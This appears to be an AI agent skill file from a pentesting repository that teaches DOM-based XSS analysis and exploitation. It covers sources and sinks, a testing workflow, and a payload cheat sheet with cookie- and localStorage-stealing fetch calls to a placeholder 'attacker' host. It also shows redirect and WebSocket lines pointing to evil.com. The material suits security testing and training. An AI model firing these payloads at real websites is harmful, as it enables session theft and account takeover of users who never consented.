Hacktricks-skills dom-xss-analysis
Analyze web applications for DOM-based Cross-Site Scripting (XSS) vulnerabilities. Use this skill whenever the user needs to find, understand, or exploit DOM XSS issues in JavaScript code, HTML pages, or web applications. Trigger on requests about DOM vulnerabilities, JavaScript injection, unsafe sinks, source-to-sink data flow, or any XSS-related security testing.
git clone https://github.com/abelrguezr/hacktricks-skills
skills/pentesting-web/xss-cross-site-scripting/dom-xss/SKILL.MDDOM XSS Analysis
A skill for identifying and exploiting DOM-based Cross-Site Scripting vulnerabilities in web applications.
What is DOM XSS?
DOM vulnerabilities occur when data from attacker-controlled sources flows unsafely to sinks without proper validation or sanitization. This enables script execution in the victim's browser context.
- Sources: Inputs attackers can manipulate (URLs, cookies, web messages, localStorage)
- Sinks: Dangerous endpoints that execute or render content (eval(), innerHTML, location.href)
Quick Reference: Common Sources
// URL-based sources document.URL document.documentURI document.URLUnencoded document.baseURI location location.search location.hash location.href // Storage sources document.cookie localStorage sessionStorage window.name // Navigation sources document.referrer history.pushState history.replaceState // Other sources IndexedDB Database postMessage()
Quick Reference: Common Sinks
JavaScript Execution Sinks
eval() Function() constructor setTimeout() setInterval() setImmediate() execCommand() execScript() msSetImmediate() range.createContextualFragment()
DOM Manipulation Sinks
someDOMElement.innerHTML someDOMElement.outerHTML someDOMElement.insertAdjacentHTML() someDOMElement.setAttribute() someDOMElement.textContent someDOMElement.innerText scriptElement.src scriptElement.text
Navigation Sinks (Open Redirect)
location location.href location.assign() location.replace() location.search open() domElem.srcdoc
jQuery Sinks
$.html() $.append() $.prepend() $.after() $.before() $.insertAfter() $.insertBefore() $.wrap() $.wrapInner() $.wrapAll() $.replaceWith() $.replaceAll() $.parseHTML()
Analysis Workflow
Step 1: Identify Sources
Look for code that reads from attacker-controllable sources:
// Check URL parameters const param = new URLSearchParams(window.location.search).get('id'); // Check cookies const cookie = document.cookie; // Check localStorage const data = localStorage.getItem('userInput'); // Check window.name const name = window.name;
Step 2: Trace Data Flow
Follow how source data moves through the application:
- Find where source data is read
- Track variable assignments and transformations
- Identify where the data reaches a sink
- Check if sanitization occurs between source and sink
Step 3: Identify Sinks
Search for dangerous sink functions:
// Use grep or IDE search for: eval( innerHTML = outerHTML = location.href = location.assign( location.replace( setTimeout( setInterval( document.write(
Step 4: Test for Vulnerabilities
Once you identify a potential source-to-sink flow, test with payloads:
// Basic XSS test <script>alert(1)</script> // For innerHTML (script tags may be blocked) <img src=x onerror=alert(1)> <svg onload=alert(1)> // For URL sinks javascript:alert(1) // For eval/Function sinks alert(1)//
Common Attack Patterns
Open Redirect
Vulnerability: Attacker-controlled data written to navigation sinks
Sinks:
location, location.href, location.assign(), location.replace()
Exploitation:
// If you control the start of the URL: location.href = userInput; // userInput = "javascript:alert(1)" // Or redirect to attacker site: location.href = userInput; // userInput = "https://evil.com"
Cookie Manipulation
Vulnerability: Attacker-controlled data written to
document.cookie
Impact: Session fixation, unexpected behavior
Exploitation:
document.cookie = userInput; // userInput = "session=attacker-controlled"
JavaScript Injection
Vulnerability: Attacker-controlled data executed as JavaScript
Sinks:
eval(), Function(), setTimeout(), setInterval()
Exploitation:
eval(userInput); // userInput = "alert(document.cookie)" setTimeout(userInput, 1000); // userInput = "alert(1)"
Document Domain Manipulation
Vulnerability: Attacker controls
document.domain
Impact: Bypass same-origin policy between related domains
Exploitation:
document.domain = userInput; // userInput = "evil.com" (if related)
WebSocket URL Poisoning
Vulnerability: Attacker controls WebSocket target URL
Exploitation:
const ws = new WebSocket(userInput); // userInput = "wss://evil.com/"
Link Manipulation
Vulnerability: Attacker controls navigation targets
Sinks:
element.href, element.src, form.action
Exploitation:
link.href = userInput; // userInput = "javascript:alert(1)" img.src = userInput; // userInput = "javascript:alert(1)"
DOM Data Manipulation
Vulnerability: Attacker controls DOM fields used in UI
Sinks:
innerHTML, outerHTML, setAttribute(), textContent
Exploitation:
element.innerHTML = userInput; // userInput = "<img src=x onerror=alert(1)>"
Advanced Techniques
Window.name Abuse
window.name persists across cross-origin navigations and can be abused:
<!-- Pre-seed window.name with payload --> <iframe name="<img src=x onerror=fetch('https://attacker/?c='+btoa(localStorage.flag))>" src="https://target/page"></iframe>
If the target app does
element.innerHTML = name without sanitization, the payload executes.
Template Literal Gaps
Apps that sanitize some fields but not others in template literals:
reportCard.innerHTML = ` <div>${DOMPurify.sanitize(report.id)}</div> <div>${report.details}</div> // UNSANITIZED - vulnerable! `;
Payload:
<img src=x onerror=fetch('http://ATTACKER/?c='+document.cookie)>
Partial Sanitization Bypass
Some sanitizers only block
<script> tags but allow event handlers:
// If only script tags are removed: <img src=x onerror=alert(1)> // Still works! <svg onload=alert(1)> // Still works! <body onload=alert(1)> // Still works!
Tools for Detection
Static Analysis
- eslint-plugin-no-unsanitized: https://github.com/mozilla/eslint-plugin-no-unsanitized
- Detects unsanitized data flow to dangerous sinks
- Run:
npx eslint --plugin no-unsanitized --rule 'no-unsanitized/no-unsanitized: error' file.js
Dynamic Analysis
- DOMLogger++: https://github.com/kevin-mizu/domloggerpp
- Browser extension that logs all data reaching potential sinks
- Shows source-to-sink data flow in real-time
Manual Testing Checklist
- Identify all user-controllable inputs (URL params, cookies, localStorage)
- Search for dangerous sink functions in JavaScript
- Trace data flow from sources to sinks
- Check for sanitization between source and sink
- Test with XSS payloads appropriate for each sink type
- Check for window.name abuse opportunities
- Look for partial sanitization gaps
- Test stored XSS scenarios (data saved and later rendered)
Payload Cheat Sheet
For innerHTML/outerHTML
<img src=x onerror=alert(1)> <svg onload=alert(1)> <body onload=alert(1)> <input onfocus=alert(1) autofocus> <marquee onstart=alert(1)> <video><source onerror=alert(1)>
For URL Sinks
javascript:alert(1) javascript:fetch('https://attacker/?c='+document.cookie)
For eval/Function
alert(1)// fetch('https://attacker/?c='+document.cookie)//
For Cookie Exfiltration
fetch('https://attacker/?c='+encodeURIComponent(document.cookie)) fetch('https://attacker/?c='+btoa(document.cookie))
For localStorage Exfiltration
fetch('https://attacker/?d='+btoa(localStorage.getItem('flag'))) fetch('https://attacker/?d='+encodeURIComponent(localStorage.getItem('flag')))
References
When to Use This Skill
Use this skill when:
- Testing web applications for XSS vulnerabilities
- Analyzing JavaScript code for security issues
- Understanding DOM-based attack vectors
- Needing to identify sources and sinks in code
- Looking for exploitation techniques for DOM XSS
- Reviewing code for unsafe data flow patterns
- Preparing payloads for specific sink types
- Investigating stored XSS scenarios
- Checking for window.name or localStorage abuse
- Auditing applications for partial sanitization gaps